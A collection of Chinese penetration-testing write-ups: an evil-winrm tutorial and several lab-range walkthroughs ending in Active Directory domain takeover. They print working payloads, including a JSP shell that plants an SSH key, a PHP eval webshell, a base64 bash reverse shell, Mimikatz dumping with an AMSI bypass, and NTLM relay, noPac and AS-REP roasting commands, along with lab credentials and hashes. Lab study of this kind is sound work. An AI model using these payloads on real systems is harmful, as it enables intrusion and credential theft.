  13. 前言Evil-winrm 工具最初是由 Hackplayers 团队开发的。开发该工具的目的是尽可能简化渗透测试,尤其是在 Microsoft Windows 环境中。 Evil-winrm 使用 PowerShell 远程协议 (PSRP),且系统和网络管理员经常使用Windows Remote Management 协议进行上传和管理。 WinRM 是一种基于对防火墙友好的SOAP 协议,可通过 HTTP默认 端口 5985 与 HTTP 传输一起使用。有关 PowerShell 远程处理的更多信息,请参考访问 Microsoft 的官方网站。 https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/enable-psremoting?view=powershell-7.3 Evil-winrm介绍Evil-winrm 是一款使用ruby 语言开发的开源工具。 该工具具有许多很酷的功能,包括使用纯文本密码远程登录、SSL 加密登录、 NTLM 哈希登录、密钥登录、文件传输、日志存储等功能。该开发工具的作者不断更新工具并长期维护更新。 使用 evil-winrm,我们可以获得远程主机的 PowerShell命令终端会话。 该工具已在Kali Linux系统中集成,但如果您想单独下载使用,则可以从其官方 git 存储库下载它。 下载链接: https: //github.com/Hackplayers/evil-winrm Winrm 服务发现 正如上文提到的那样,如果在远程主机中启用了 Winrm 服务,则会联想到使用 evil-winrm 工具。 为了确认目标系统是否开启了winrm服务,我们可以使用 nmap 查找两个默认的 winrm 服务端口 5895 和 5896 是否打开。 从 nmap 扫描结果中,我们发现 winrm 服务已启用,因此我们可以使用 evil-winrm 工具进行登录并执行我们将在横向阶段探索的其他任务。 nmap -p 5985 , 5986 192.168 .1 .19 Evil-winrm help命令帮助要列出 evil-winrm 的所有可用的功能,我们可以简单地使用 -h 标志,它将列出所有带有描述的帮助命令。 evil-winrm -h 使用纯文本密码登录 假设我们在账户枚举阶段获得了明文密码,并且注意到远程主机启用了 winrm 服务 ,我们可以使用 evil-winrm 在目标系统上进行远程会话,使用方法是带有-i 参数的目标系统IP地址、带有 -u 参数的目标系统用户名,带有-p参数的目标系统密码。 如下图所示,我们可以看到已经建立了一个远程 PowerShell 会话。 evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 使用纯文本密码登录 - 启用 SSL 正如上文提到的那样,winrm 服务可通过 HTTP 协议传输流量,然后我们可以使用安全套接字层 (SSL) 功能来确保连接安全。 一旦启用 SSL 功能,我们的数据将通过加密的安全套接字层进行传输。使用 evil-winrm,我们可以使用-S 参数来建立与远程主机的安全传输的命令。 evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -S 使用 NTLM Hash 登录 - 通过哈希攻击 在内网渗透或解决任何与 Windows 权限提升和 Active Directory 利用相关的项目中,我们经常通过各种攻击方法获得 NTLM 哈希值。 如果我们在 Windows 内网环境中,我们可以利用 evil-winrm 通过执行传递哈希攻击来建立 PowerShell 会话,这样可以将哈希作为密码而不是使用纯文本密码进行远程登陆。 除此之外,这种攻击还支持其他协议。 传递哈希我们可以使用-H 参数 。 evil-winrm -i 192.168.1.19 -u administrator -H 32196B56FFE6F45E294117B91A83BF38 加载 Powershell 脚本 Evil-winrm 还提供了一项允许我们使用来自目标主机自带的powershell脚本的功能。 可以直接将脚本加载到内存中 ,我们可以使用带有-s 参数接目标系统的powershell脚本的相对路径 。 此外,该工具还提供了我们在导入任何脚本之前经常需要用到的 AMSI 功能。 在下面的示例中,我们将绕过 AMSI 功能,直接从系统中调用 Invoke-Mimiktz.ps1 脚本到目标主机中并将其加载到内存中。 之后,可以使用 mimikatz 命令。 本次出于演示目的,我们直接从缓存中转储了系统登陆凭据。 转储凭据后,我们可以再次使用获得的 NTLM 哈希进行哈希传递攻击。 https://github.com/clymb3r/PowerShell/blob/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1 evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -s /opt/privsc/powershell Bypass-4MSI Invoke-Mimikatz.ps1 Invoke-Mimikatz 使用 Evil-winrm 存储日志 此功能表示在获取远程会话后,将执行命令的日志保存到我们的本地系统中。 我们在平时做项目时,都需要攻击凭据,以便进行后续报告输出。可以使用 -l 参数将 将所有日志保存到我们的主机系统中 ,默认保存到 /root/evil-winrm-logs 目录中。在下面的示例中,我们可以同时使用了 ipconfig 命令并将命令输出信息保存到主机系统中。 evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -l 可以通过检查保存的日志内容来验证是否存将命令日志输出存储成功,可以看到已经存储了我们上文命令输出的日志信息。 禁用远程完整路径功能默认情况下,该工具带有远程完整路径功能,但如果我们希望禁用远程路径完整功能,我们可以 在命令中使用-N参数。 这取决于个人是否喜欢打开或关闭路径完整功能,但如果您对自动完整路功能感到满意,则可以随意使用其默认功能。 evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -N 禁用彩色界面 每当我们使用 evil-winrm 建立任何远程会话时,都会生成一个漂亮的彩色命令行界面。 尽管如此,如果我们希望禁用彩色界面功能,那么我们也可以在建立会话时使用-n 参数来禁用该功能。 evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -N 运行可执行文件 此功能旨在解决我们在进行 PowerShell 会话时在评估期间遇到的实时问题和困难,我们不能将其放到命令行中。 在这种情况下,我们希望能够在 evil-winrm 会话中运行 exe 可执行文件。 假设我们有一个要在目标系统中运行的可执行文件。 Hackplayers 团队再次设计了该工具并添加了一个额外的功能,可以在 evil-winrm PowerShell 会话中运行所有可执行文件。 同样,我们可以使用 -e 参数来执行 exe 可执行二进制文件。 在下面的示例中,其中 WinPEAS.exe 可执行文件存储在本地计算机 /opt/privsc目录中,并使用 附加功能( evil-winrm 菜单中的Invoke-Binary命令 )来运行它。 此功能允许我们执行在命令行 shell 中运行的任何 exe 二进制文件。 evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -e /opt/privsc Bypass-4MSI menu Invoke-Binary /opt/privsc/winPEASx64.exe 一旦我们设置了可执行文件路径,我们就可以使用我们希望在目标系统中运行的任何可执行文件。 在下面的示例中,我们调用 WinPEASx64.exe 并使用 evil-winrm 将其运行到目标系统中。 使用 Evil-winrm 进行服务查询有时后渗透测试工具,无法检测到目标系统中运行的服务名称。 在这种情况下,我们可以使用 evil-winrm 来查找目标系统中运行的服务名称。 为此,我们可以再次转到菜单并使用服务功能。 它将列出所有运行程序主机的服务。 使用 Evil-winrm 进行文件传输 毫无疑问,evil-winrm 已尽最大努力使我们的使用尽可能地简单。 我们总是需要将文件从攻击机器传输到远程机器以执行其命令操作。 而 evil-winrm 工具提供的一项非常实用的功能,尤其是在我们面对目标系统中设置的出站流量规则以及我们将 evil-winrm 与代理一起使用时的情况下。 在下面的示例中,我们将/root目录中的notes.txt文件上传 到目标系统中。 文件从目标系统下载到攻击者的机器上。 同样,我们可以使用下面命令进行下载: download notes.txt /root/raj/notes.txt 从 Docker 使用 Evil-winrm 此工具也可以安装在 docker 中。 如果我们在安装到evil-winrm的docker中,那么我们也可以从docker中调用它。 它将像在主系统中一样运行。 为此,请遵循 docker 语法以及 evil-winrm 命令从 docker 调用它。 docker run --rm -ti --name evil-winrm oscarakaelvis/evil-winrm -i 192.168.1.105 -u Administrator -p 'Ignite@987' 使用 Evil-winrm 密钥登录 Evil-winrm 还允许我们使用公钥和私钥建立远程会话,使用 带有-k的参数跟私钥,以及带有-c 的参数跟公钥,此外,我们还可以添加 -S 参数来启用 SSL 来使我们的连接加密和安全。 evil-winrm -i 10.129.227.105 -c certificate.pem -k priv-key.pem -S
  14. 0x1 Info 靶场地址:https://yunjing.ichunqiu.com/ranking/summary?id=BzMFNFpvUDU 从web到内网再到域的靶场环境都全,且出题的思路很好,感兴趣的可以去玩玩 0x2 ReconTarget external IP 39.98.34.149Nmap results 关注80端口的http服务,目录爆破(省略)找到 /admin 使用弱口令登录进入后台,去到模板页面,编辑header.html,添加php一句话 \ 用户名: admin, 密码:123456 命令执行 0x03 入口点:172.22.4.36弹shell 快速过一下: 入口机器没特别的东西没能提权到root权限(也不需要提权到root权限)stapbpf suid利用失败 找到diff suid flag01 diff --line-format=%L /dev/null /home/flag/flag01.txt flag01 里面有提示用户名 WIN19\Adrian挂代理扫 445 获取到三个机器信息 172.22.4.19 fileserver.xiaorang.lab 172.22.4.7 DC01.xiaorang.lab 172.22.4.45 win19.xiaorang.lab 用 Flag01提示的用户名 + rockyou.txt 爆破,爆破出有效凭据 (提示密码过期) win19\Adrian babygirl1xfreerdp 远程登录上 win19 然后改密码 0x04 Pwing WIN19 - 172.22.4.45前言:当前机器除了机器账户外,完全没域凭据,需要提权到system获取机器账户 桌面有提示 关注这一栏,当前用户Adrian对该注册表有完全控制权限 提权 msfvenom生成服务马,执行 sam.bat sam.bat 修改注册表并且启用服务,然后桌面就会获取到 sam,security,system 获取 Administrator + 机器账户 凭据 Administrator:500:aad3b435b51404eeaad3b435b51404ee:ba21c629d9fd56aff10c3e826323e6ab::: $MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:917234367460f3f2817aa4439f97e636 flag02 使用机器账户收集域信息 0x05 DC takeover - 172.22.4.7分析 Bloodhound,发现 WIN19 + DC01都是非约束委派 使用Administrator登录进入 WIN19,部署rubeus 使用DFSCoerce强制触发回连到win19并且获取到DC01的TGT Base64的tgt 解码存为 DC01.kirbi DCSync 获取域管凭据 psexec - flag04 0x06 Fileserver takeover - 172.22.4.19psexec - flag03 0x07 Outro感谢Alphabug师傅的提示(0x03 - 0x04),大哥已经把入口点都打完了,我只是跟着进来而已感谢九世师傅的合作 原文链接:https://www.freebuf.com/articles/web/352151.html
  15. 0x01 – InfoTag: Tomcat,NTLM,WebClient,Coerce Authentication,noPac 0x02 – ReconTarget external ip 47.92.146.66 Nmap results Focus on port 8009 (ajp) ,意味着是tomcat (对应了靶场的tomcat tag) 目录扫描,404页面显示为tomcat 9.0.30 Playing with Ghost cat 使用该项目测试 https://github.com/00theway/Ghostcat-CNVD-2020-10487 读取/web-inf/web.xml url-pattern 结果存为字典 FFuf 关注uploadservlet 上传temp.txt 返回文件地址 ./upload/7dbbdee357b4472f5aad6b8ce83980dd/20221206093440839.txt 替换 ./upload to /upload,成功读取到上传的文件 python3 ajpShooter.py http://47.92.146.66:8080 8009 /upload/7dbbdee357b4472f5aad6b8ce83980dd/20221206093440839.txt read 0x03 – GhostCat命令执行准备好 shell.txt <% java.io.InputStream in = Runtime.getRuntime().exec(“bash -c {echo,ZWNobyAic3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFCZ1FDL3NKaDY4Uk5hWktLakNQaE40WUxpSnJ4eDR3N3JtbDBGcFRmMTNYNHVKZlpFZm4yU25scE9rdXQ0OE1LdURHOEtDcXczRW0zNU9odXdUa2p3ZEkvRGhGN3ZSeTB0T2xtWDE5NmJHcXpndE5pM1YzUHExc3NCMzV5Ui85SHJ6ZjVEdHdqS2NKdkphV0RuZzU2UWhHZjlnR21vdUZVQWV2QjdsUWl3a01FNWNxTzVsQTRwUm5KVEh2RU1OQUkxQkc3MTBEeWNKT28rNGh1TGNNVjZhdUs3UXdKTWdnN0oyU2U5TEpGZWk2R2g0amJUSGRhdmNBVjV6VVJZeFI4QVNXSmNqY29tM2dMUEE1UWNxSzNzSERRVmswUHllaTR3cEJwWWlFUGlHcHlQR2Y1T3ErUU0xQmJyR0gvTlRBYnZWa3dDZnBkRURWdVBNNWhHOFY4c09HTjIxczlWazFjMVBXaEh2WDZ1ejhRaDRNdUdnQlRYSHlZb3duTjg3OTExVDVGR0VjVzlWeUh1cm9FSVJtdE9sY3dBYmRMc0k0NVhOS1o0aWoxdERLNTRTMmpXWXhJTjhSL1ZuUnV2RVVoTVpGOUlabDM3UW5EQnBFR25LTXFjTVE4cHVUZUJBMngvSURHMFR6MWxjVGk5WHp5WjVheTd4dTJwZStidXhWT1BSQ2M9IiA+PiAvcm9vdC8uc3NoL2F1dGhvcml6ZWRfa2V5cwoKY2htb2QgNjAwIC9yb290Ly5zc2gvYXV0aG9yaXplZF9rZXlzCg==}|{base64,-d}|{bash,-i}”).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print(“<pre>“); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print(“</pre>“);%> 上传shell.txt 执行上传的代码 SSH – flag01 0x04 – 入口 Ubuntu: 172.22.11.76SSH 没啥东西,直接过 开代理 挂代理扫445,获取到三台主机信息172.22.11.45 XR-Desktop.xiaorang.lab 172.22.11.6 xiaorang-dc.xiaorang.lab 172.22.11.26 XR-LCM3AE8B.xiaorang.lab 关注172.22.11.45 – windows7 – MS17 MS17 一气呵成 基本操作 凭据列表Administrator 4430c690b4c1ab3f4fe4f8ac0410de4a – (本地凭据) John 03cae082068e8d55ea307b75581a8859 – (本地凭据) XR-DESKTOP$ 3aa5c26b39a226ab2517d9c57ef07e3e – (域凭据) yangmei 25e42ef4cc0ab6a8ff9e3edbbda91841 – xrihGHgoNZQ (明文) – (域凭据) 本人已经试过组合爆破了,没有东西,这边直接略过演示,直接到域渗透环节 Flag2 把域用户yangmei加入该机器的本地管理员 确定域控IP为172.22.11.6 – xiaorang-dc Bloodhound收集 0x05 – 域渗透环节, 入口 XR-Desktop: 172.22.11.45这边快速过一下 (一句话总结:不能直接拿下域控)使用Bloodhound收集到的用户名组合获取到的密码/hashes组合爆破,没发现其他新用户MAQ = 0,加不了计算机当前LDAP 没 TLS,远程也加不了计算机,impacket的addcomputer有两种方法samr和ldaps。samr受到MAQ = 0的限制,无法添加计算机;ldaps受到 没TLS + MAQ = 0 的限制域控存在nopac,当前用户yangmei使用nopac没打死,并且对域内computer container没有createchild的ACL域控存在nopac,当前用户yangmei对当前windows机器xr-desktop没WriteDacl权限,意味着无法修改SamAccountName域内存在 DFscoerce 和 petitpotam,但是不存在CVE-2019-1040,因此放弃 DFscoerce,优先使用petitpotamNoPac exploit: Ridter/noPac: Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user (github.com)Petitpotam 扫描 无ADCS + Petitpotam + ntlm中继打法 攻击链:用petitpotam触发存在漏洞且开启了webclient服务的目标,利用petitpotam触发目标访问我们的http中继服务,目标将会使用webclient携带ntlm认证访问我们的中继,并且将其认证中继到ldap,获取到机器账户的身份,以机器账户的身份修改其自身的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性,允许我们的恶意机器账户模拟以及认证访问到目标机器 (RBCD)满足条件,目标机器需要开启webclient服务 WebClient扫描,确定只能拿下 172.22.11.26 (XR-LCM3AE8B) 中继攻击前言:实战中的中继打法只需要停掉80占用服务,开启端口转发(portfwd,CS在后续版本中添加了rportfwd_local,直接转发到客户端本地)本次演示类似实战的打法,不选择把impacket丢到入口ubuntu上面这种操作中继攻击环境配置: 端口转发 + 代理 我们目前需要把服务器的80,转发到客户端本地的80注意:由于SSH的反向端口转发监听的时候只会监听127.0.0.1,所以这时候需要点技巧 如图所示,即使反向端口转发79端口指定监听全部 (-R \*:79:127.0.0.1:80),端口79依旧绑定在了127.0.0.1(图中顺便把socks5代理也开了) 加多一条socat,让流量 0.0.0.0:80 转发到 127.0.0.1:79,再反向转发回客户端本地的80 ,变相使80监听在0.0.0.0 测试,从172.22.11.76:80 进来的流量直接转发到了我们本地 本地开启ntlmrelayx注意:前面提到,没有ldaps,所以不能使用addcomputer同时在使用proxychains后,ldap://后面只能接dc的ip利用前面拿下的XR-Desktop作为恶意机器账户设置RBCD sudo proxychains4 -q -f proxychains.conf ntlmrelayx.py -t ldap://172.22.11.6 --no-dump --no-da --no-acl --escalate-user 'xr-desktop$' --delegate-access 使用Petitpotam触发 XR-LCM3AE8B 认证到172.22.11.76 (ubuntu) proxychains4 -q -f ~/HTB/Spoofing/proxychains.conf python3 PetitPotam.py -u yangmei -p 'xrihGHgoNZQ' -d xiaorang.lab ubuntu@80/pwn.txt XR-LCM3AE8B 可以看到,已经完成RBCD攻击了,接下来就是直接申请XR-LCM3AE8B的银票了 申请XR-LCM3AE8B CIFS票据 0x06 – 域渗透环节 – NoPAC, 入口 XR-LCM3AE8B:172.22.11.26psexecflag03在 C:\users\administrator\flag\flag03.txt (这里没截图) smbclient.py 传 mimikatz 获取到新凭据 zhanghui 1232126b24cdf8c9bd2f788a9d7c7ed1 nopac只有zhanghui能成功,zhanghui在MA_Admin组,MA_Admin组对computer 能够创建对象,但是在bloodhound没看到 AdFind.exe -b "CN=Computers,DC=xiaorang,DC=lab" nTSecurityDescriptor -sddl+++ Bloodhound看不到,主要原因是没把CreateChild采集进json 回到nopac,加上 create-child 参数 0x07 – 域渗透环节 – xiaorang-dc使用nopac申请到的cifs票据登录进入DCflag04在 C:\users\administrator\flag\flag04.txt (这里没截图) 域管 (略过使用mimikatz) administrator 0fadb57f5ec71437d1b03eea2cda70b9 ![[ 0x08 – 瞎玩尝试解决Bloodhound.py采集不到CreateChild bloodhound/enumeration/acls.py里面其实已经定义好了变量,只需要调用即可 来到170行,我们添加上去,找到CreateChild就添加进数据 重新跑一遍bloodhound.py,观察containers的结果,发现已经有相关数据了,RID 1132 = MA_Admin组 Bloodhound示意图,但是数据还是乱 原文链接: https://www.anquanke.com/post/id/285771
  16. 0x00 IntroOSCP 渗透风格,脱离C2和MSF之类的工具Box 难度不高 0x01 InfoTag: JDBC, Exchange, NTLM, Coerce Authentication, DCSync 0x02 ReconTarget external IP 39.98.179.149Nmap results 直接关注8000端口,前面我已经怼过80了,没东西直接过 华夏ERP,有很多漏洞的,入口点卡了很久,后面看到JDBC,直接谷歌一搜就搜到大哥的文章了 Fastjson高版本的奇技淫巧 – Bmth (bmth666.cn)(http://www.bmth666.cn/bmth_blog/2022/10/19/Fastjson%E9%AB%98%E7%89%88%E6%9C%AC%E7%9A%84%E5%A5%87%E6%8A%80%E6%B7%AB%E5%B7%A7/#%E8%93%9D%E5%B8%BD%E6%9D%AF2022%E5%86%B3%E8%B5%9B-%E8%B5%8C%E6%80%AA)构造payload Configure MySQL_Fake_Server 未授权 + MySQL Connector JDBC反序列化组合拳直接RCE RCE后直接获取 Flag01 0x03 入口点:172.22.3.12SMB扫描内网主机,看到Exchange关键字 (EXC01),尝试访问 172.22.3.9 为 Exchange Proxylogon 直接打死,获取system权限 flag02(后续凭据收集略过) 0x04 入口点:172.22.3.9快进1:已经收集到了exchange机器账户的hash快进2:同时收集到了一个域账户凭据:Zhangtong这边已经通过上面的操作收集到了exchange的机器账户hash,exchang的机器账户在域内对整个domain-object有writedacl权限,那我们直接使用dacledit.py给Zhangtong加dcsync权限(其实你也可以给自己加上dcsync) Dcsync,获取到域管和用户lumia的hashes 进入 172.22.3.2 获取flag04 0x05 Final:172.22.3.26172.22.3.26上面的Lumia用户文件夹里面有个secret.zip 直接PTH Exchange导出Lumia mailbox里面的全部邮件以及附件 item-0.eml,提示密码是手机号 刚好导出的附件里面有一个csv,里面全是手机号 常规操作,转换成pkzip格式的hash再跑字典,跑出密码 flag03 0x06 OutroExchange 后渗透那,作者本意是想让我们用 NTLM Relay去完成DCSync提权,获取Exchange SYSTEM权限后,触发webdav回连中继到ldap,这里的话就不尝试了,有兴趣的话可以看我上一篇文章 Spoofing 2.Lumia用户登录exchange那,作者也是想让你改掉Lumia用户的密码,但是我就懒了,直接PTH 原文链接: https://www.anquanke.com/post/id/286967
  17. 开启靶机后是一个带着 ThinkPHP icon 的登陆界面,直接测试一下 存在 5.0.23 RCE 打一下,PHP-7.4.3 的环境,看一下 disable_functions pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare 传马上去,蚁剑连接,是www-data权限,那么就得想办法提权进到/root下 在以前关注的公众号下找了些文章,Web安全工具库 这篇写的挺全的,《Linux提权备忘录》 尝试cat /etc/sudoers被告知Permission denied,换成sudo -l查看 这个网站里可以提供命令提权参考 可以使用mysql来实现,sudo mysql -e '! cat /root/flag/flag01.txt'拿到第一部分 flag ifconfig查下 IP 把 fscan 传上去然后扫下 C 段,./fscan_amd64 -h 172.22.1.1/24,结果在当下的 result.txt 里 172.22.1.18:3306 open 172.22.1.2:88 open 172.22.1.21:445 open 172.22.1.18:445 open 172.22.1.2:445 open 172.22.1.21:139 open 172.22.1.18:139 open 172.22.1.2:139 open 172.22.1.21:135 open 172.22.1.18:135 open 172.22.1.2:135 open 172.22.1.18:80 open 172.22.1.15:80 open 172.22.1.15:22 open [*] 172.22.1.2 (Windows Server 2016 Datacenter 14393) [+] 172.22.1.21 MS17-010 (Windows 7 Professional 7601 Service Pack 1) [+] NetInfo: [*]172.22.1.21 [->]XIAORANG-WIN7 [->]172.22.1.21 [+] NetInfo: [*]172.22.1.18 [->]XIAORANG-OA01 [->]172.22.1.18 [+] NetInfo: [*]172.22.1.2 [->]DC01 [->]172.22.1.2 [*] 172.22.1.2 [+]DC XIAORANG\DC01 Windows Server 2016 Datacenter 14393 [*] WebTitle:http://172.22.1.15 code:200 len:5578 title:Bootstrap Material Admin [*] 172.22.1.18 XIAORANG\XIAORANG-OA01 Windows Server 2012 R2 Datacenter 9600 [*] 172.22.1.21 __MSBROWSE__\XIAORANG-WIN7 Windows 7 Professional 7601 Service Pack 1 [*] WebTitle:http://172.22.1.18 code:302 len:0 title:None 跳转url: http://172.22.1.18?m=login [*] WebTitle:http://172.22.1.18?m=login code:200 len:4012 title:信呼协同办公系统 [+] http://172.22.1.15 poc-yaml-thinkphp5023-method-rce poc1 .15 就不用看了,.21 是个存在永恒之蓝的 Win7,.18 是个信呼OA 的系统,.2 是个域控 用 NPS+Proxifier 代理转发,先看 .18 然后就有两个做法,第一个是针对信呼OA的一个文件上传漏洞,可以参考 Y4tacker师傅的文章,在利用弱口令 admin/admin123 登录后直接打 exp 就行 第二种做法是在扫目录基础上,利用/phpmyadmin,可以直接 root/root 登录,然后利用日志写入 webshell 第一步先执行show variables like 'general%';查看是否开启日志以及存放的日志位置 第二步set global general_log = ON;开启日志 第三步set global general_log_file设置日志保存位置 最后select '<?php eval($_POST[cmd]);?>';写然后蚁剑连接,flag 就在C:/Users/Administrators/flag下 接下来看 .21,是台 Win7 的机子,可以打 MS17-010 ,试了一下不出网,采用正向监听即可 先挂代理,proxychains msfconsole走 socks5 流量,然后依次use exploit/windows/smb/ms17_010_eternalblue=>set payload windows/x64/meterpreter/bind_tcp_uuid=>set RHOSTS 172.22.1.21=>exploit 得到正向的 meterpreter shell 后,接下来就是利用 DCSync DCSync的介绍可以参考这篇文章,最大的特点就是可以实现不登录到域控而获取域控上的数据 在 MSF 下直接load kiwi,然后kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit导出域内所有用户的 Hash 之前扫出来 .2 的 445 端口开放,利用 smb 哈希传递,直接用 kali 自带的 crackmapexec,proxychains crackmapexec smb 172.22.1.2 -u administrator -H 10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "$cmd",最后一部分 flag 在/Users/Administrators/flag下 原文链接: http://119.45.47.125/index.php/2022/11/24/yunjing-4/
  18. 说明Time是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。 技术Neo4j、Kerberos、Privilege Elevation、域渗透 第一个flag外网IP信息收集start infoscan (icmp) Target '39.98.236.25' is alive icmp alive hosts len is: 1 39.98.236.25:22 open 39.98.236.25:1337 open 39.98.236.25:7474 open 39.98.236.25:7473 open 39.98.236.25:7687 open 39.98.236.25:35555 open alive ports len is: 6 start vulscan 已完成 0/6 [-] webtitle http://39.98.236.25:7473 Get "http://39.98.236.25:7473": net/http: HTTP/1.x transport connection broken: malformed HTTP response "\x15\x03\x03\x00\x02\x02P" [*] WebTitle:http://39.98.236.25:7474 code:200 len:145 title:None [*] WebTitle:http://39.98.236.25:7687 code:400 len:0 title:None [*] WebTitle:https://39.98.236.25:7687 code:400 len:0 title:None 已完成 6/6 scan endneo4j 未授权RCENeo4j是一个开源图数据库管理系统。 在Neo4j 3.4.18及以前,如果开启了Neo4j Shell接口,攻击者将可以通过RMI协议以未授权的身份调用任意方法,其中setSessionVariable方法存在反序列化漏洞。因为这个漏洞并非RMI反序列化,所以不受到Java版本的影响。在Neo4j 3.5及之后的版本,Neo4j Shell被Cyber Shell替代。 https://github.com/zwjjustdoit/CVE-2021-34371.jar java -jar rhino_gadget.jar rmi://39.98.236.25:1337 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3R...NC81NTU1IDA+JjE=}|{base64,-d}|{bash,-i}"反弹shell 查找flag 获得第一个flag 第二个flag内网渗透上传代理和fscan start infoscan 已完成 0/0 listen ip4:icmp 0.0.0.0: socket: operation not permitted trying RunIcmp2 The current user permissions unable to send icmp packets start ping (icmp) Target 172.22.6.12 is alive (icmp) Target 172.22.6.25 is alive (icmp) Target 172.22.6.38 is alive (icmp) Target 172.22.6.36 is alive [*] Icmp alive hosts len is: 4 172.22.6.25:445 open 172.22.6.12:445 open 172.22.6.25:139 open 172.22.6.12:139 open 172.22.6.25:135 open 172.22.6.12:135 open 172.22.6.38:80 open 172.22.6.36:22 open 172.22.6.38:22 open 172.22.6.36:7687 open 172.22.6.12:88 open [*] alive ports len is: 11 start vulscan [+] NetInfo: [*]172.22.6.25 [->]WIN2019 [->]172.22.6.25 [+] NetInfo: [*]172.22.6.12 [->]DC-PROGAME [->]172.22.6.12 [*] 172.22.6.12 [+]DC XIAORANG\DC-PROGAME Windows Server 2016 Datacenter 14393 [*] 172.22.6.25 XIAORANG\WIN2019 [*] 172.22.6.12 (Windows Server 2016 Datacenter 14393) [*] WebTitle:http://172.22.6.38 code:200 len:1531 title:后台登录 [*] WebTitle:https://172.22.6.36:7687 code:400 len:50 title:None 已完成 11/11sql注入访问 http://172.22.6.38,是一个登录页面,抓取数据包 POST /index.php HTTP/1.1 Host: 172.22.6.38 Content-Length: 30 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://172.22.6.38 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://172.22.6.38/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8 Connection: close username=admin&password=111111使用sqlmap测试注入(过程略) sqlmap -r 1.txt --dump -T oa_f1Agggg -D oa_db -batch 获得第二个flag 里面还有oa_admin表和oa_users表,把users表中的500个用户名收集成字典 username.txt ‍‍第三个flag域用户枚举在kerberos的AS-REQ认证中当cname值中的用户不存在时返回包提示KDC_ERR_C_PRINCIPAL_UNKNOWN,所以当我们没有域凭证时,可以通过Kerberos pre-auth从域外对域用户进行用户枚举 https://github.com/ropnop/kerbrute proxychains ./kerbrute_linux_amd64 userenum --dc 172.22.6.12 -d xiaorang.lab username.txt -t 10kali中用代理一直执行不成功,不出现结果,把文件传到入口机器上,远程执行才出结果 共有74个用户,做成字典 user.txt AS-REPRoasting对于域用户,如果设置了选项Do not require Kerberos preauthentication(不要求Kerberos预身份认证),此时向域控制器的88端口发送AS-REQ请求,对收到的AS-REP内容重新组合,能够拼接成”Kerberos 5 AS-REP etype 23”(18200)的格式,接下来可以使用hashcat或是john对其破解,最终获得该用户的明文口令 查找未设置预认证的账号 proxychains python3 GetNPUsers.py -dc-ip 172.22.6.12 -usersfile user.txt xiaorang.lab/ 得到两个账号 [email protected][email protected] [email protected]@XIAORANG.LAB:b6c410706b5e96c693b2fc61ee1064c3$2dc9fbee784e7997333f30c6bc4298ab5752ba94be7022e807af418c11359fd92597e253752f4e61d2d18a83f19b5c9df4761e485853a3d879bcf7a270d6f846683b811a80dda3809528190d7f058a24996aff13094ff9b32c0e2698f6d639b4d237a06d13c309ce7ab428656b79e582609240b01fb5cd47c91573f80f846dc483a113a86977486cecce78c03860050a81ee19921d3500f36ff39fa77edd9d5614cf4b9087d3e42caef68313d1bb0c4f6bc5392943557b584521b305f61e418eb0f6eb3bf339404892da55134cb4bf828ac318fe00d68d1778b7c82caf03b65f1938e54ed3fa51b63cdb2994 [email protected]@XIAORANG.LAB:971802b84ce99050ad3c5f49d11fd0b7$6c1be075c3cf2a7695529de2ebbf39c5ec7e5326c9d891dac2107b239892f76befe52c860e4e1e2ff6537a5765a6bcb6b8baca792d60765ac0bbe1b3c5e59f3ec51b7426636a437d5df12130eb68d9b17ef431455415671c7331a17ce823e28cc411677bed341d3fceefc3451b8b232ea6039661625a5c793e30c4d149b2ed9d2926e9d825b3828744ebce69e47746994c9a749ceeb76c560a1840bc74d2b9f301bb5b870c680591516354460dab2238e7827900ed80320dd3a6f46874b1bc8a3a68aea7bd11d0683ec94103f59d9511691090928e98d0d8978f511e71fd9db0067fa0d450c120f3726918d7使用hashcat解密 hashcat -m 18200 --force -a 0 '[email 